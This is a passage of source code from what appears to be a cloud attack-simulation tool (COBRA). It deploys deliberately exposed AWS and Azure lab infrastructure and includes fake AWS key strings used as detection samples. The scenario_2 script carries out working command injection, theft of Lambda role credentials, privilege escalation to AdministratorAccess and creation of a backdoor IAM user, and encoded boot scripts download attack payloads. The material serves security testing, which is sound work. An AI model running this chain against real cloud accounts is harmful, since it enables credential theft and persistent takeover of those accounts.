IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2xhYi1maWxlcy0wMGZmYWFiY2MuczMuYW1hem9uYXdzLmNvbS91ZWJhLWxhYi9zZXJ2ZXIucHkKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9zZXJ2ZXIucHkKd2dldCAtUCAvaG9tZS91YnVudHUvIGh0dHBzOi8vY29icmEtdG9vbC1maWxlcy5zMy5hcC1zb3V0aC0xLmFtYXpvbmF3cy5jb20vc2NlbmFyaW8tNC91c2VyZGF0YS50eHQK 125 | """ 126 | 127 | instance_profile = aws.iam.InstanceProfile("my-instance-profile", 128 | role=role.name 129 | ) 130 | 131 | instance_profile_2 = aws.iam.InstanceProfile("my-instance-profile-2", 132 | role=role_2.name 133 | ) 134 | 135 | # Create an EC2 instance with user data 136 | instance = aws.ec2.Instance("attacker", 137 | instance_type="t2.micro", 138 | ami=ubuntu_ami.id, 139 | iam_instance_profile=instance_profile.name, 140 | security_groups=[sg.name], 141 | user_data=user_data_script, 142 | key_name=key_pair.key_name 143 | 144 | ) 145 | 146 | instance1 = aws.ec2.Instance("imds-machine", 147 | instance_type="t2.micro", 148 | ami=ubuntu_ami.id, 149 | iam_instance_profile=instance_profile_2.name, 150 | security_groups=[sg.name], 151 | key_name=key_pair.key_name) 152 | 153 | 154 | # Export the public IP of the EC2 instance 155 | print("Attacker Server Public IP") 156 | pulumi.export("Attacker Server Public IP", instance.public_ip) 157 | 158 | print("Victim Server Public IP") 159 | pulumi.export("Victim Server Public IP", instance1.public_ip) 160 | 161 | print("Attacker Server Role Name") 162 | pulumi.export("role_name", role.name) 163 | 164 | print("Victim Server Role Name") 165 | pulumi.export("victim_role_name", role_2.name) 166 | 167 | # Export the policy name 168 | pulumi.export("policy_name", policy.name) 169 | 170 | # Export the security group name 171 | pulumi.export("security_group_name", sg.name) 172 | 173 | # Export the instance profile name 174 | print("Attacker Server Role") 175 | pulumi.export("Attacker Server Role", instance_profile.name) 176 | 177 | print("Victim Server Role") 178 | pulumi.export("Victim Server Role", instance_profile_2.name) 179 | 180 | # Export the instance ID 181 | print("Attacker Server Instance ID") 182 | pulumi.export("Attacker Server Instance ID", instance.id) 183 | 184 | print("Victim Server Instance ID") 185 | pulumi.export("Victim Server Instance ID", instance1.id) 186 | 187 | pulumi.export("AMI ID", ubuntu_ami.id) 188 | 189 | pulumi.export("Subnet ID", instance.subnet_id) 190 | 191 | pulumi.export("Key Pair Name", key_pair.key_name) 192 | 193 | pulumi.export("Region", current.name) 194 | 195 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/IP_multiline copy.txt: -------------------------------------------------------------------------------- 1 | Configure the best practice Antivirus profile by cloning the predefined profile and changing the imap, pop3, and smtp decoder values to reset-both in the Action and WildFire Action columns. 2 | Configure the best practice Anti-Spyware profile by cloning the predefined strict profile. On the Rules tab, enable single packet capture on medium, high, and critical severity threats for traffic you log. (For traffic you don’t log, apply a separate profile without packet capture enabled.) April_05_01 3 | On the DNS Signatures tab, change the Action on DNS Queries to sinkhole if the firewall can’t see the originator of the DNS query (typically when the firewall is north of the local DNS server) so that you can identify infected hosts. 4 | "AWS-AAKI": { 5 | "positive": { 6 | "aaki1": "AKIAYPDIK3OCOFEZAOQQ AWS Access Key", 7 | "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", 8 | "aaki3": "022QF06E7MXBSH9DHM02 Key ID", 9 | "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" 10 | }. 11 | } 12 | DNS sinkhole identifies and tracks potentially compromised hosts that attempt to access suspicious domains and prevents them from accessing those domains. Enable extended packet capture on the sinkholed traffic. April_05_01 13 | Configure the best practice Vulnerability Protection profile by cloning the predefined strict profile and changing the Packet Capture setting for every rule except simple-client-informational and simple-server-informational to single-packet. If the firewall identifies a large volume of vulnerability threats and that affects performance, disable packet capture for low-severity events. 14 | The predefined strict File Blocking profile is the best practice profile. If supporting critical applications prevents you from blocking all the file types the strict profile blocks (you can identify the file types used in the data center from data filtering logs at MonitorLogsData Filtering), clone the strict profile and modify it as needed. If files don’t need to flow in both directions, use the Direction setting to restrict the file type to only the required direction. 15 | The predefined WildFire Analysis profile is the best practice profile. WildFire provides the best defense against unknown threats and advanced persistent threats (ATPs). 16 | "AWS-AAKI": { 17 | "positive": { 18 | "aaki1": "AKIAYPDIK3OCOFEZAOYY AWS Access Key", 19 | "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", 20 | "aaki3": "022QF06E7MXBSH9DHM02 Key ID", 21 | "aaki4": "Amazon Web Services AKIAYPDIK3OCOFEZAOKK" 22 | } 23 | } 24 | Perform CRL/OCSP checks to ensure June04 certificates presented during SSL decryption are valid. 25 | SSL Protocol Settings: Set the Min Version to TLSv1.2, the Max Version to Max, and uncheck the SHA1 Authentication Algorithm. (The weak 3DES and RC4 Encryption Algorithms are automatically unchecked when you select TLSv1.2.) Use TLSv1.3 for traffic that supports TLSv1.3 (many mobile applications use certificate pinning, which prevent decryption when using TLSv1.3, so for these applications, use TLSv1.2). 26 | SSL Forward Proxy: For Server Certificate Verification, block sessions with expired certificates, untrusted issuers, and unknown certificate status, and restrict certificate extensions. For Unsupported Mode Checks, block sessions with unsupported versions, unsupported cipher suites, and client authentication. For Failure Checks, blocking sessions if resources aren’t available is a tradeoff between the user experience (blocking may negatively affect the user experience) and potentially allowing dangerous connections. If you have to consider this tradeoff, also consider increasing the decryption resources available in the deployment. 27 | SSL Inbound Inspection: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported ciphers. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. 28 | SSH Proxy: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported algorithms. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. 29 | Apply the No Decryption profile to traffic you choose not to decrypt because of regulations, compliance rules, or business reasons, except TLSv1.3 traffic (TLSv1.3 encrypts certificate information, so the firewall cannot block traffic based on certificate information). Block sessions with expired certificates and untrusted issuers. 30 | 31 | "AWS-AAKI": { 32 | "positive": { 33 | "aaki1": "HEd6k2v4Rj5e44l4poSJlB AWS Access Key", 34 | "aaki2": "Access Key ID AKIAYPDIK3OCOFEZAOAA", 35 | "aaki3": "022QF06E7MXBSH9DHM02 Key ID", 36 | "aaki4": "Amazon Web Services MCaW6LjNPHTieUnRQCo" 37 | } 38 | } 39 | 40 | Use App-ID to create application-based allow list security policy rules that segment applications by controlling who can access each application and on which sets of servers (using dynamic address groups). App-ID enables you to apply granular security policy rules to applications that may reside on the same compute resource but require different levels of security and access control. 41 | Create custom applications to uniquely identify proprietary applications and segment access. If you have existing Application Override policies that you created solely to define custom session timeouts for a set a of ports, convert the existing Application Override policies to application-based policies by configuring service-based session timeouts to maintain the custom timeout for each application and then migrating the rule the an application-based rule. Application Override policies are port-based. When you use Application Override policies to maintain custom session timeouts for a set of ports, you lose application visibility into those flows, so you neither know nor control which applications use the ports. Service-based session timeouts achieve custom timeouts while also maintaining application visibility. 42 | For migrating from a port-based security policy with custom application timeouts to an application-based policy, don’t use Application Override rules to maintain the custom timeouts because you lose visibility into the applications. Instead, define a service-based session timeout to maintain the custom timeout for each application, and then migrate the rule to an application-based rule. -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/IP_multiline copy.txt: -------------------------------------------------------------------------------- 1 | Configure the best practice Antivirus profile by cloning the predefined profile and changing the imap, pop3, and smtp decoder values to reset-both in the Action and WildFire Action columns. 2 | Configure the best practice Anti-Spyware profile by cloning the predefined strict profile. On the Rules tab, enable single packet capture on medium, high, and critical severity threats for traffic you log. (For traffic you don’t log, apply a separate profile without packet capture enabled.) April_05_01 3 | On the DNS Signatures tab, change the Action on DNS Queries to sinkhole if the firewall can’t see the originator of the DNS query (typically when the firewall is north of the local DNS server) so that you can identify infected hosts. 4 | "AWS-AAKI": { 5 | "positive": { 6 | "aaki1": "AKIAYPDIK3OCOFEZAOQQ AWS Access Key", 7 | "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", 8 | "aaki3": "022QF06E7MXBSH9DHM02 Key ID", 9 | "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" 10 | }. 11 | } 12 | DNS sinkhole identifies and tracks potentially compromised hosts that attempt to access suspicious domains and prevents them from accessing those domains. Enable extended packet capture on the sinkholed traffic. April_05_01 13 | Configure the best practice Vulnerability Protection profile by cloning the predefined strict profile and changing the Packet Capture setting for every rule except simple-client-informational and simple-server-informational to single-packet. If the firewall identifies a large volume of vulnerability threats and that affects performance, disable packet capture for low-severity events. 14 | The predefined strict File Blocking profile is the best practice profile. If supporting critical applications prevents you from blocking all the file types the strict profile blocks (you can identify the file types used in the data center from data filtering logs at MonitorLogsData Filtering), clone the strict profile and modify it as needed. If files don’t need to flow in both directions, use the Direction setting to restrict the file type to only the required direction. 15 | The predefined WildFire Analysis profile is the best practice profile. WildFire provides the best defense against unknown threats and advanced persistent threats (ATPs). 16 | "AWS-AAKI": { 17 | "positive": { 18 | "aaki1": "AKIAYPDIK3OCOFEZAOYY AWS Access Key", 19 | "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", 20 | "aaki3": "022QF06E7MXBSH9DHM02 Key ID", 21 | "aaki4": "Amazon Web Services AKIAYPDIK3OCOFEZAOKK" 22 | } 23 | } 24 | Perform CRL/OCSP checks to ensure June04 certificates presented during SSL decryption are valid. 25 | SSL Protocol Settings: Set the Min Version to TLSv1.2, the Max Version to Max, and uncheck the SHA1 Authentication Algorithm. (The weak 3DES and RC4 Encryption Algorithms are automatically unchecked when you select TLSv1.2.) Use TLSv1.3 for traffic that supports TLSv1.3 (many mobile applications use certificate pinning, which prevent decryption when using TLSv1.3, so for these applications, use TLSv1.2). 26 | SSL Forward Proxy: For Server Certificate Verification, block sessions with expired certificates, untrusted issuers, and unknown certificate status, and restrict certificate extensions. For Unsupported Mode Checks, block sessions with unsupported versions, unsupported cipher suites, and client authentication. For Failure Checks, blocking sessions if resources aren’t available is a tradeoff between the user experience (blocking may negatively affect the user experience) and potentially allowing dangerous connections. If you have to consider this tradeoff, also consider increasing the decryption resources available in the deployment. 27 | SSL Inbound Inspection: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported ciphers. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. 28 | SSH Proxy: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported algorithms. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. 29 | Apply the No Decryption profile to traffic you choose not to decrypt because of regulations, compliance rules, or business reasons, except TLSv1.3 traffic (TLSv1.3 encrypts certificate information, so the firewall cannot block traffic based on certificate information). Block sessions with expired certificates and untrusted issuers. 30 | 31 | "AWS-AAKI": { 32 | "positive": { 33 | "aaki1": "HEd6k2v4Rj5e44l4poSJlB AWS Access Key", 34 | "aaki2": "Access Key ID AKIAYPDIK3OCOFEZAOAA", 35 | "aaki3": "022QF06E7MXBSH9DHM02 Key ID", 36 | "aaki4": "Amazon Web Services MCaW6LjNPHTieUnRQCo" 37 | } 38 | } 39 | 40 | Use App-ID to create application-based allow list security policy rules that segment applications by controlling who can access each application and on which sets of servers (using dynamic address groups). App-ID enables you to apply granular security policy rules to applications that may reside on the same compute resource but require different levels of security and access control. 41 | Create custom applications to uniquely identify proprietary applications and segment access. If you have existing Application Override policies that you created solely to define custom session timeouts for a set a of ports, convert the existing Application Override policies to application-based policies by configuring service-based session timeouts to maintain the custom timeout for each application and then migrating the rule the an application-based rule. Application Override policies are port-based. When you use Application Override policies to maintain custom session timeouts for a set of ports, you lose application visibility into those flows, so you neither know nor control which applications use the ports. Service-based session timeouts achieve custom timeouts while also maintaining application visibility. 42 | For migrating from a port-based security policy with custom application timeouts to an application-based policy, don’t use Application Override rules to maintain the custom timeouts because you lose visibility into the applications. Instead, define a service-based session timeout to maintain the custom timeout for each application, and then migrate the rule to an application-based rule. -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/__main__.py: -------------------------------------------------------------------------------- 1 | import pulumi 2 | import pulumi_aws as aws 3 | import os 4 | import sys 5 | import subprocess 6 | from pulumi_random import RandomPet 7 | import pulumi_synced_folder 8 | from pulumi_aws import s3 9 | import json 10 | 11 | def read_public_key(pub_key_path): 12 | with open(pub_key_path, "r") as f: 13 | public_key = f.read().strip() 14 | 15 | return public_key 16 | 17 | region = aws.get_region() 18 | 19 | key_pair = aws.ec2.KeyPair("my-key-pair", public_key=read_public_key("../../../id_rsa.pub")) 20 | 21 | ubuntu_ami = aws.ec2.get_ami( 22 | filters=[ 23 | aws.ec2.GetAmiFilterArgs( 24 | name="name", 25 | values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], 26 | ), 27 | aws.ec2.GetAmiFilterArgs( 28 | name="virtualization-type", 29 | values=["hvm"], 30 | ), 31 | ], 32 | owners=["099720109477"], 33 | most_recent=True, 34 | 35 | ) 36 | 37 | # Create an IAM role for EC2 instance 38 | role = aws.iam.Role("ec2-role", 39 | assume_role_policy="""{ 40 | "Version": "2012-10-17", 41 | "Statement": [{ 42 | "Effect": "Allow", 43 | "Principal": { 44 | "Service": "ec2.amazonaws.com" 45 | }, 46 | "Action": "sts:AssumeRole" 47 | }] 48 | }""" 49 | ) 50 | 51 | # Attach a policy to the role allowing necessary permissions 52 | policy = aws.iam.RolePolicy("ec2-role-policy", 53 | role=role.name, 54 | policy="""{ 55 | "Version": "2012-10-17", 56 | "Statement": [ 57 | { 58 | "Sid": "VisualEditor0", 59 | "Effect": "Allow", 60 | "Action": [ 61 | "s3:*" 62 | ], 63 | "Resource": "*" 64 | } 65 | ] 66 | }""" 67 | ) 68 | 69 | sg = aws.ec2.SecurityGroup("web-sg", 70 | ingress=[ 71 | { 72 | "protocol": "tcp", 73 | "fromPort": 8000, 74 | "toPort": 8000, 75 | "cidrBlocks": ["0.0.0.0/0"] 76 | }, 77 | { 78 | "protocol": "tcp", 79 | "fromPort": 22, 80 | "toPort": 22, 81 | "cidrBlocks": ["0.0.0.0/0"] 82 | } 83 | ], 84 | egress=[{ 85 | "protocol": "-1", 86 | "fromPort": 0, 87 | "toPort": 0, 88 | "cidrBlocks": ["0.0.0.0/0"] 89 | }] 90 | ) 91 | 92 | # User data script to be executed when the instance starts 93 | user_data_script = """ 94 | IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlIC15CnN1ZG8gYXB0IGluc3RhbGwgdW56aXAgLXkKc3VkbyBhcHQgaW5zdGFsbCBweXRob24zLXBpcCAteQpzdWRvIHBpcCBpbnN0YWxsIGJvdG8zCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2NvYnJhLXRvb2wtZmlsZXMuczMuYXAtc291dGgtMS5hbWF6b25hd3MuY29tL3NjZW5hcmlvLTUvYXR0YWNrLnB5CnN1ZG8gY2hvd24gdWJ1bnR1OnVidW50dSAvaG9tZS91YnVudHUvYXR0YWNrLnB5CndnZXQgLVAgL2hvbWUvdWJ1bnR1IGh0dHBzOi8vY29icmEtdG9vbC1maWxlcy5zMy5hcC1zb3V0aC0xLmFtYXpvbmF3cy5jb20vc2NlbmFyaW8tNS9jb250YWN0LnNoCmNobW9kICt4IGNvbnRhY3Quc2gKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9jb250YWN0LnNoCg== 95 | """ 96 | 97 | instance_profile = aws.iam.InstanceProfile("my-instance-profile", 98 | role=role.name 99 | ) 100 | 101 | # Create an EC2 instance with user data 102 | instance = aws.ec2.Instance("attacker", 103 | instance_type="t2.micro", 104 | ami=ubuntu_ami.id, 105 | iam_instance_profile=instance_profile.name, 106 | security_groups=[sg.name], 107 | user_data=user_data_script, 108 | key_name=key_pair.key_name 109 | 110 | ) 111 | bucket_suffix = RandomPet("bucketSuffix", length=2) 112 | s3_bucket = aws.s3.Bucket("bucket", 113 | bucket=bucket_suffix.id.apply(lambda suffix: f"my-unique-bucket-{suffix}"), 114 | acl=aws.s3.CannedAcl.PRIVATE, 115 | tags={ 116 | "Environment": "Dev" 117 | }) 118 | 119 | folder = pulumi_synced_folder.S3BucketFolder( 120 | "synced-folder", 121 | path="./s3_files", 122 | bucket_name=s3_bucket.bucket, 123 | acl=s3.CannedAcl.PRIVATE, 124 | ) 125 | 126 | current = aws.get_caller_identity() 127 | kmskey = aws.kms.Key("example", 128 | description="An example symmetric encryption KMS key", 129 | enable_key_rotation=True, 130 | deletion_window_in_days=20, 131 | policy=json.dumps({ 132 | "Version": "2012-10-17", 133 | "Id": "key-default-1", 134 | "Statement": [ 135 | { 136 | "Sid": "Enable IAM User Permissions", 137 | "Effect": "Allow", 138 | "Principal": { 139 | "AWS": f"arn:aws:iam::{current.account_id}:root", 140 | }, 141 | "Action": "kms:*", 142 | "Resource": "*", 143 | }, 144 | { 145 | "Sid": "Allow use of the key", 146 | "Effect": "Allow", 147 | "Principal": { 148 | "AWS": "*", 149 | }, 150 | "Action": [ 151 | "kms:DescribeKey", 152 | "kms:Encrypt", 153 | "kms:ReEncrypt*", 154 | "kms:GenerateDataKey" 155 | ], 156 | "Resource": "*", 157 | }, 158 | ], 159 | })) 160 | 161 | 162 | # Export the public IP of the EC2 instance 163 | print("Attacker Server Public IP") 164 | pulumi.export("Attacker Server Public IP", instance.public_ip) 165 | 166 | 167 | print("Attacker Server Role Name") 168 | pulumi.export("role_name", role.name) 169 | 170 | 171 | # Export the policy name 172 | pulumi.export("policy_name", policy.name) 173 | 174 | # Export the security group name 175 | pulumi.export("security_group_name", sg.name) 176 | 177 | # Export the instance profile name 178 | print("Attacker Server Role") 179 | pulumi.export("Attacker Server Role", instance_profile.name) 180 | 181 | # Export the instance ID 182 | print("Attacker Server Instance ID") 183 | pulumi.export("Attacker Server Instance ID", instance.id) 184 | 185 | pulumi.export("AMI ID", ubuntu_ami.id) 186 | 187 | pulumi.export("Subnet ID", instance.subnet_id) 188 | 189 | pulumi.export("Key Pair Name", key_pair.key_name) 190 | 191 | pulumi.export("Region", region.name) 192 | 193 | pulumi.export("Bucket Name", s3_bucket.bucket) 194 | 195 | pulumi.export("KMS Key", kmskey.arn) 196 | 197 | -------------------------------------------------------------------------------- /scenarios/scenario_2/scenario_2.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | import json 4 | from tqdm import tqdm 5 | from time import sleep 6 | from termcolor import colored 7 | from core.helpers import loading_animation 8 | from core.report import gen_report_2 9 | 10 | class ScenarioExecution: 11 | def __init__(self): 12 | pass 13 | 14 | def scenario_2_destroy(self): 15 | with open("./core/cobra-scenario-2-output.json", "r") as file: 16 | data = json.load(file) 17 | 18 | LAMBDA_ROLE_NAME = data["lambda-role-name"] 19 | 20 | print(colored("Deleting Manually Created resources - resources which are not tracked by Pulumi's State", color="red")) 21 | loading_animation() 22 | print("-"*30) 23 | 24 | subprocess.call("aws iam detach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) 25 | subprocess.call("aws iam list-access-keys --user-name devops | jq -r '.AccessKeyMetadata[0].AccessKeyId' | xargs -I {} aws iam delete-access-key --user-name devops --access-key-id {}", shell=True) 26 | subprocess.call("aws iam delete-user --user-name devops", shell=True) 27 | 28 | subprocess.call("aws iam list-role-policies --role-name "+LAMBDA_ROLE_NAME+" | jq -r '.PolicyNames[]' | xargs -I {} aws iam delete-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-name {}", shell=True) 29 | subprocess.call("aws iam detach-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) 30 | 31 | subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi destroy -s cobra-scenario-2 --yes", shell=True) 32 | 33 | def get_data(self): 34 | 35 | with open("./core/cobra-scenario-2-output.json", "r") as file: 36 | data = json.load(file) 37 | 38 | with open("./core/cobra-scenario-2-output.json", "r") as file: 39 | data = json.load(file) 40 | 41 | self.API_GW_URL = data["apigateway-rest-endpoint"] 42 | self.LAMBDA_ROLE_NAME = data["lambda-role-name"] 43 | self.API_GW_ID = data["api-gateway-id"] 44 | self.LAMBDA_FUNC_ARN = data["lambda-func-name"] 45 | 46 | def exploit_serverless_app(self): 47 | self.get_data() 48 | 49 | print(colored("Exploiting the Application on API GW", color="red")) 50 | loading_animation() 51 | print("-"*30) 52 | 53 | print(colored("Detected OS Injection through API GW, lambda backend, attempting credential exfil", color="red")) 54 | loading_animation() 55 | print("-"*30) 56 | 57 | subprocess.call("curl '"+self.API_GW_URL+"?query=env' | grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN >> token.txt", shell=True) 58 | print(colored("Successfully Exhilarated Lambda Role Creds", color="red")) 59 | loading_animation() 60 | print("-"*30) 61 | 62 | creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" 63 | subprocess.call(""+creds+" && aws sts get-caller-identity --no-cli-pager", shell=True) 64 | 65 | print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) 66 | subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+self.LAMBDA_ROLE_NAME+"", shell=True) 67 | sleep_duration = 60 68 | with tqdm(total=sleep_duration, desc="Loading") as pbar: 69 | # Loop until sleep_duration is reached 70 | while sleep_duration > 0: 71 | # Sleep for a shorter interval to update the progress bar 72 | sleep_interval = min(1, sleep_duration) 73 | sleep(sleep_interval) 74 | 75 | # Update the progress bar with the elapsed time 76 | pbar.update(sleep_interval) 77 | sleep_duration -= sleep_interval 78 | 79 | print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) 80 | loading_animation() 81 | print("-"*30) 82 | subprocess.call(""+creds+" && aws iam create-user --user-name devops --no-cli-pager", shell=True) 83 | subprocess.call(""+creds+" && aws iam attach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) 84 | print(colored("Backdoor User Access Key created", color="red")) 85 | loading_animation() 86 | print("-"*30) 87 | subprocess.call(""+creds+" && aws iam create-access-key --user-name devops --no-cli-pager --query 'AccessKey.AccessKeyId'", shell=True) 88 | 89 | gen_report_2(self.API_GW_ID, self.LAMBDA_FUNC_ARN, self.API_GW_URL, self.LAMBDA_ROLE_NAME) 90 | 91 | subprocess.call("rm token.txt", shell=True) 92 | 93 | 94 | def scenario_2_execute(self): 95 | print("-"*30) 96 | print(colored("Executing Scenario 2 : Rest API exploit - command injection, credential exfiltration from backend lambda and privilege escalation, rogue identity creation & persistence ", color="red")) 97 | 98 | print(colored("Rolling out Infra", color="red")) 99 | loading_animation() 100 | print("-"*30) 101 | 102 | file_path = "./core/cobra-scenario-2-output.json" 103 | if os.path.exists(file_path): 104 | os.remove(file_path) 105 | print("File '{}' found and deleted.".format(file_path)) 106 | else: 107 | print("File '{}' not found.".format(file_path)) 108 | 109 | subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi up -s cobra-scenario-2 -y", shell=True) 110 | subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack -s cobra-scenario-2 output --json >> ../../../core/cobra-scenario-2-output.json", shell=True) 111 | ScenarioExecution().exploit_serverless_app() 112 | 113 | 114 | 115 | def post_execution(self): 116 | print(colored("Select Post Simulation Task:", color="yellow")) 117 | print(colored("1. Execute lambda server attack", color="green")) 118 | print(colored("2. Exit", color="green")) 119 | while True: 120 | try: 121 | choice = int(input(colored("Enter your choice: ", color="yellow"))) 122 | if choice not in [1, 2]: 123 | raise ValueError(colored("Invalid choice. Please enter 1, 2, 3, 4, 6 or 5.", color="red")) 124 | if choice == 1: 125 | ScenarioExecution().exploit_serverless_app() 126 | return 127 | elif choice == 2: 128 | return 129 | except ValueError as e: 130 | print(e) 131 | -------------------------------------------------------------------------------- /scenarios/scenario_2/report/report.py: -------------------------------------------------------------------------------- 1 | import webbrowser 2 | from pathlib import Path 3 | 4 | def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME): 5 | html_template = ''' 6 | 7 | 8 | 9 | 10 | 11 | COBRA Attack Path Report 12 | 79 | 80 | 81 |
82 |
83 | COBRA Logo 84 |

COBRA Attack Path Report

85 |
86 |
87 |

Attack Path Scenario Explained

88 |

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

89 |
90 | 91 |
92 |

Attack Scenario Breakdown

93 |

1. Application is exploited through API GW, lambda backend

94 |

2. Lambda Role credential is discovered and exfiltrated.

95 |

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

96 |

4. Attach Privileged Policy to the Role.

97 |

5. Provision a Backdoor IAM Role to maintain persistence.

98 |

6. Whitelist Attacker account id in the trust policy of the backdoor role.

99 |
100 | 101 |
102 |

Attack Path Graph

103 | Attack Path Graph 104 |
105 |
106 |

Resource Meta Data

107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 |
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
127 |
128 |
129 |

List of Controls to Evaluate Post-Attack

130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 |
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
157 |
158 |
159 | 160 | 161 | ''' 162 | 163 | with open("cobra-as2-report.html", "w+") as file: 164 | file.write(html_template) 165 | 166 | 167 | print("HTML report generated successfully.") 168 | webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') -------------------------------------------------------------------------------- /scenarios/scenario_6/infra/main.tf: -------------------------------------------------------------------------------- 1 | provider "azurerm" { 2 | features {} 3 | tenant_id = var.tenantid 4 | subscription_id = var.subid 5 | } 6 | 7 | data "azurerm_client_config" "current" {} 8 | 9 | resource "azurerm_resource_group" "rg" { 10 | name = "demo-vm-rg" 11 | location = "East US" 12 | } 13 | 14 | resource "azurerm_virtual_network" "vnet" { 15 | name = "demo-vnet" 16 | address_space = ["10.0.0.0/16"] 17 | location = azurerm_resource_group.rg.location 18 | resource_group_name = azurerm_resource_group.rg.name 19 | } 20 | 21 | resource "azurerm_subnet" "subnet" { 22 | name = "demo-subnet" 23 | resource_group_name = azurerm_resource_group.rg.name 24 | virtual_network_name = azurerm_virtual_network.vnet.name 25 | address_prefixes = ["10.0.1.0/24"] 26 | } 27 | 28 | # Create a Public IP 29 | resource "azurerm_public_ip" "public_ip" { 30 | name = "demo-public-ip" 31 | location = azurerm_resource_group.rg.location 32 | resource_group_name = azurerm_resource_group.rg.name 33 | allocation_method = "Static" 34 | } 35 | 36 | # Create Network Security Group 37 | resource "azurerm_network_security_group" "nsg" { 38 | name = "demo-nsg" 39 | location = azurerm_resource_group.rg.location 40 | resource_group_name = azurerm_resource_group.rg.name 41 | 42 | 43 | # NSG Rule to allow SSH (port 22) 44 | security_rule { 45 | name = "allow-ssh" 46 | priority = 1000 47 | direction = "Inbound" 48 | access = "Allow" 49 | protocol = "Tcp" 50 | source_port_range = "*" 51 | destination_port_range = "22" 52 | source_address_prefix = "*" 53 | destination_address_prefix = "*" 54 | } 55 | 56 | # NSG Rule to allow HTTP on port 8081 57 | security_rule { 58 | name = "allow-5000" 59 | priority = 1010 60 | direction = "Inbound" 61 | access = "Allow" 62 | protocol = "Tcp" 63 | source_port_range = "*" 64 | destination_port_range = "5000" 65 | source_address_prefix = "*" 66 | destination_address_prefix = "*" 67 | } 68 | } 69 | 70 | resource "azurerm_network_interface" "nic" { 71 | name = "demo-nic" 72 | location = azurerm_resource_group.rg.location 73 | resource_group_name = azurerm_resource_group.rg.name 74 | 75 | ip_configuration { 76 | name = "demo-ip-configuration" 77 | subnet_id = azurerm_subnet.subnet.id 78 | private_ip_address_allocation = "Dynamic" 79 | public_ip_address_id = azurerm_public_ip.public_ip.id # Associate Public IP 80 | } 81 | } 82 | resource "azurerm_network_interface_security_group_association" "my-nsg-assoc" { 83 | network_interface_id = azurerm_network_interface.nic.id 84 | network_security_group_id = azurerm_network_security_group.nsg.id 85 | } 86 | 87 | resource "tls_private_key" "ssh_key" { 88 | algorithm = "RSA" 89 | rsa_bits = 2048 90 | } 91 | 92 | resource "local_file" "private_key" { 93 | filename = "${path.module}/id_rsa" 94 | content = tls_private_key.ssh_key.private_key_pem 95 | } 96 | 97 | resource "local_file" "public_key" { 98 | filename = "${path.module}/id_rsa.pub" 99 | content = tls_private_key.ssh_key.public_key_openssh 100 | } 101 | 102 | resource "azurerm_linux_virtual_machine" "linux_vm" { 103 | name = "demo-linux-vm" 104 | resource_group_name = azurerm_resource_group.rg.name 105 | location = azurerm_resource_group.rg.location 106 | size = "Standard_B1s" 107 | admin_username = 